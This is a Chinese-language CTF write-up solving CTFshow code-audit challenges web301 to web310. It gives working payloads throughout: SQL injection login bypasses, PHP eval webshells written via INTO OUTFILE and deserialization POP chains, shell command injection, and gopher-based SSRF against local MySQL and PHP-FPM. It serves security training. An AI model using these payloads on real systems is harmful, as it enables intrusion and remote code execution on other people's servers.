Ctfshow web入门 代码审计篇 web301-web310 详细题解 全

CTFshow 代码审计 web301

下载的附件的目录结构如下:

开题后界面,看见输入框,感觉是sql。

大概浏览一遍源码,我们可以发现在checklogin.php文件中有无过滤的SQL语句,SQL注入没得跑了。

这题SQL注入有三种做法。


方法一:

普通盲注,时间和布尔都行,这里不赘述了。


方法二:

联合注入。

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录。

其实很好理解,平常我们联合注入的时候一般是这样的paylaod:?id=1 and 1=2 union select 1,database()#。两个回显位,返回给我们的是1 数据库名称。这个1是哪来的呢,就是...select 1...创建的虚拟数据1。

然后解释一下同文件中的17行的语句if(!strcasecmp($userpwd,$row['sds_password'])),满足条件就能登陆成功。PHP中strcasecmp()函数是比较字符串,如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

paylaod:

复制代码
账号:-1' union select 1717#
密码:1717

账号进入SQL语句,拼接,未查询到内容,但是创建了虚拟数据1717。那么就是返回了1717。程序把1717当成了账号在数据库中查询到的密码,我们输入的密码也是1717strcasecmp()函数判断相等,成功登录。

登录成功就给flag

方法三:

写入shell。也是基础SQL注入,不赘述原理了。

payload:

复制代码
账号:-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#
密码:1

访问/shell.php,直接getshell

CTFshow 代码审计 web302

修改的地方:if(!strcasecmp(sds_decode( u s e r p w d ) , userpwd), userpwd),row['sds_password']))

sds_decode函数:

php 复制代码
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

估计数据库中的密码是经过加密的。比如说我们的密码是1717,存在数据库里面经过加密后就是md5(md5('1717'.md5(base64_encode("sds")))."sds"),就是1e715c20ac9c36a193b564d39ed5fd6b

方法还是三个。盲注和写入shell不变。联合注入创建虚拟数据稍微改改就行了。

payload:

复制代码
账号:-1' union select '1e715c20ac9c36a193b564d39ed5fd6b'#
密码:1717

CTFshow 代码审计 web303

源码目录结构:

下载源码后,看原来的checklogin.php文件,发现限制了我们的注入点$username长度为6及以内,那我们就不能用这个注入点进行注入了。

继续看源码,发现文件dpt.phpdptadd.php中都有注释//注入点

dpt.php

dptadd.php

但是想进入这两个文件,我们必须先登录,得有$_SESSION['login'],否则会重定向到login.php。继续看源码寻找如何获得账号密码登录。

我们在fun.php中找到提示语句echo sds_decode("admin");,猜测账号密码就是admin

sql文件里有账密的信息,密码是被函数加密过写入的,输入框输入不影响。

输入框输入:

复制代码
账号:admin
密码:admin

登陆后界面:

dpt.php作用是显示数据。但是我们发现,sql语句中根本没有可控变量,甚至没有变量!所以这里是假的注入点。

php 复制代码
$_GET['id']=!empty($_GET['id'])?$_GET['id']:NULL;
$page=$_GET['id'];
						
$sql="select * from sds_dpt order by id;";
$result=$mysqli->query($sql);

dptadd.php作用是添加数据(insert into),这里sql语句有可控变量,是真注入点。我们可以insert注入也可以报错注入,因为die(mysqli_error($mysqli));回显了sql报错语句。

php 复制代码
	//注入点
	$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
	$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
	$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
	$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
	$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
	$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
	
	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);
	echo $sql;
	if($result===true){
		$mysqli->close();
		header("location:dpt.php");
	}else{
		die(mysqli_error($mysqli));
	}

一、insert注入

sql语句:

php 复制代码
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

原理就是,insert的某个变量用select查询语句代替,插入时先执行查询语句查出我们想要的数据,再把我们想要的数据(flag)写入数据库中我们可以直接查询的地方,利用系统自带的查询数据功能直接把我们想要的数据(插入进去的数据,也就是flag)回显给我们。

比如下面的语句就把数据库名称插入到user表里面。

php 复制代码
$dpt_name="(select database())";
$sql="insert into user set name='".$dpt_name."';";

开始做题:

查表,简单一点就只传一个参数然后直接闭合就行就行

复制代码
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

查字段

复制代码
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#

查数据值

复制代码
dpt_name=1',sds_address=(select flag from sds_fl9g)#

二、报错注入

老生常谈的注入方式,这里不赘述了,直接放payload了。

复制代码
dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=xxx' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#

CTFshow 代码审计 web304

题目描述:

但是扫了眼源码,并没有上waf。只是换了个表名,把sds_fl9g换成了sds_flaag而已。其他都同上题。

insert注入和报错注入都可以。

payload:

复制代码
dpt_name=1',sds_address=(select flag from sds_flaag)#

CTFshow 代码审计 web305

和上一题大不相同。首先是都上了waf,sql注入行不通了。登录的账号密码还是admin

但是在class.php中发现了恶意类(文件写入),在checklogin.php中发现了反序列化操作。

思路就是反序列化,写shell到文件,然后就能控制服务端了。

反序列化POC:

复制代码
<?php
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
}
var_dump(urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>'))));
?>

payload: 注意路由

复制代码
Cookie:
user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

上传成功后getshell,却发现flag不在文件里面,猜测flag在数据库里面。

getshell到夺取数据库的话,用蚁剑链接数据库就好啦。

首先是让蚁剑连上shell。

数据库账号密码在conn.php里面,分别是rootphpcj

然后右键数据操作。

点击添加。

注意数据库类型是MYSQLI,密码也是root不知道为什么。后来发现蚁剑里面读到的源码和他给的不一样,蚁剑里面读到的conn.php里面的密码是root

选中列后执行即可得到flag。

CTFshow 代码审计 web306

题目描述:开始使用mvc结构

还是php反序列化写入文件,这次是构造简单POP链。

这次不用登录账号,直接Cookie里面加user就行。注意index.php反序列化时候会就行base64解码。

链子:[index.php] unserialize->[dao.php] dao::__destruct()->[class.php] log::close()

反序列化POC:

php 复制代码
<?php
class dao{
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}
}
class log{
	public $title='a.php';
	public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));

payload: 注意路由

复制代码
Cookie:
user=TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

flag在当前目录flag.php里面

CTFshow 代码审计 web307

题目描述:是不是顺眼多了

这次是真的MVC结构。

还是php反序列化构造简单POP链,写入文件。

不用登录账号,直接Cookie里面加user就行。注意logout.php反序列化时候会就行base64解码。

先找恶意类,在/controller/service/dao/dao.php文件的dao类中,可以拼接执行命令写shell到文件。

logout.php包含了service.php并且调用了clearCache()函数,service是通过dao类调用的clearCachelogout.php require了service.php,而service.php又require了dao.php,所以不需要用到service类也可以直接通过dao类调用clearCache()函数

链子:[/controller/logout.php] unserialize->[/controller/service/dao/dao.php] dao::clearCache()

反序列化POC:

复制代码
<?php
class config{
	public $cache_dir = 'xxx;echo  "<?php eval(\$_POST[1]);?>" >a.php;';
	//$不转义的话,双引号会把$_POST[1]解析
}	

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));

payload: 注意路由

复制代码
Cookie:
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDU6Inh4eDtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=

flag在/var/www/html/flag.php

CTFshow 代码审计 web308

题目描述:需要拿shell

目录结构:

首先看看之前的攻击方式能不能用了。

SQL注入:

无明显注入点,无SQL报错信息输出,insert语句都上了waf。SQL注入不可行。

反序列化写入文件:

有无过滤的file_put_contents()函数却从未被调用。

反序列化执行命令:

上了waf,只能输入大小写字母。

由此看来,之前的攻击方式全都失效,我们要另寻他法。


我们在fun.phpcheckUpdate()函数中发现了明显的SSRF特征代码,而且没有过滤。

php 复制代码
function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

我们把所有有关的代码都整合起来:

php 复制代码
//【index.php】
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}

//【dao.php】
class dao{
	private $config;

	public function checkVersion(){
			return checkUpdate($this->config->update_url);
		}
}

//【config.php】
class config{
	private $mysql_username='root';
    //没有密码!!!!!
	private $mysql_password='';

	public $update_url = 'https://vip.ctf.show/version.txt';
}

//【fun.php】
function checkUpdate($url){
		$ch=curl_init();	
		//...
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

得出我们可以使用SSRF打无密码的mysql。SSRF的payload由/index.php反序列化传入。


这里遇到了一个问题,我们不知道admin登录的密码,这里密码已经不是admin的MD5加密了。

很多师傅包括刚刚的我会觉得,那不是在/index.php中会重定向到/login.php吗,怎么触发反序列化呢?

其实header后的PHP代码还会被执行。虽然重定向了,不影响接下里的代码执行,该被SSRF打还是得被SSRF打。终止代码执行应该在后面加一个exit();或者die();


我们先来写一下反序列化POC:

php 复制代码
<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 【SSRF打无密码mysql的payload】;
}

$a= new dao();
echo base64_encode(serialize($a));

?>

然后我们来生成一下【SSRF打无密码mysql的payload】,顺便说一下,这种攻击方式对应端口3306

Gopherus工具对应文件夹开cmd控制台。工具下载地址https://github.com/tarunkant/Gopherus

bash 复制代码
python2 gopherus.py --exploit mysql

一共有两个地方要输入。

复制代码
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01

如果是直接传参,payload需要再次URL编码后发送。因为发送到服务端会自动解析一次。

但是这里是通过反序列化打,解析payload时候已经在服务端了,不需再次编码,直接cv在POC里面就行。

利用POC生成的最后payload,然后在/index.php路由(不用登录,抓包直接改路由就行)Cookie传参:

复制代码
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjM6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDEiO319

访问/1.php路由,直接getshell。

CTFshow 代码审计 web309

题目描述:需要拿shell,308的方法不行了,mysql 有密码了。

先看看源码。源码还是没有变,可能没更新吧。

先利用之前的反序列化POC手动扫一下端口。

php 复制代码
<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'gopher://127.0.0.1:【端口】';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

一些危险端口如下:

复制代码
#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm(FastCGI) 默认端口

端口设置成9000时候一直未响应。那就是9000端口存在服务.

原理:

向服务端发送请求时,服务端会等待我们发送数据,处于wait状态。最多等几十秒。

gopher协议只会把数据发送过去,不承接任何应用。所以gopher协议访问开放端口时,会"卡住",等待我们传输数据,所以就能探测端口是否开放。

脚本用gopher协议访问,超过两秒(服务端等待数据接收)就判断端口开放,没超时(服务端直接拒绝)就是端口没开放。

和上题一样,SSRF之Gopher协议打FastCGI(端口9000)。

FastCGI攻击需要满足四个条件:

1、PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件

2、知道题目环境中的一个PHP文件的绝对路径

3、PHP-FPM监听在本机9000端口

4、libcurl版本>=7.45.0

Gopherus工具生成攻击FastCGI的payload。

复制代码
python2 gopherus.py --exploit fastcgi

之后有两个地方可以输入

复制代码
第一个地方输入:
一个已知存在的php文件如/var/www/html/index.php  

第二个地方输入:
希望目标服务器执行的恶意命令,比如反弹shell:
tac f*

得到payload。

复制代码
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

代入POC直接生成payload打。

CTFshow 代码审计 web310

源码还是一样。

和之前一样先试试FastCGI,这次写马到文件,getshell方便点。

复制代码
第一个地方输入:
/var/www/html/index.php  

第二个地方输入:
echo  "<?php eval(\$_POST[1]);?>" >1.php

带入POC打一下。

发现能成功写马到文件:

完了,这波小丑了。

仔细查找后发现路径/var/flag/index.html

读取得到flag。

换个思路,尝试SSRF之伪协议读取文件。这里由于是nginx服务,nginx可以通过fastcgi对接php,所以nginx的配置文件中也会有一些重要信息。读取一下nginx服务的配置文件/etc/nginx/nginx.conf

伪协议file:///etc/nginx/nginx.conf

POC:

php 复制代码
<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'file:///etc/nginx/nginx.conf';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

配置文件内容如下:

复制代码
daemon off;

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

每一个http块都可以包含多个server块,而每个server块就相当于一台虚拟主机,它内部可有多台主机联合提供服务,一起对外提供在逻辑上关系密切的一组服务。

注意到最后一部分,我们发现4476这个端口是定向到/var/flag,访问内网4476端口即可得到flag文件/var/flag内容。

复制代码
server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;
}

最后的POC:

php 复制代码
<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'http://127.0.0.1:4476';
}

$a= new dao();
echo base64_encode(serialize($a));

?>
相关推荐
BingoGo4 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack4 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
何中应2 天前
Nginx转发请求错误
前端·后端·nginx
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理3 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行3 天前
网络安全总结
安全·web安全
芝士雪豹只抽瑞克五3 天前
Nginx 高性能Web服务器笔记
服务器·nginx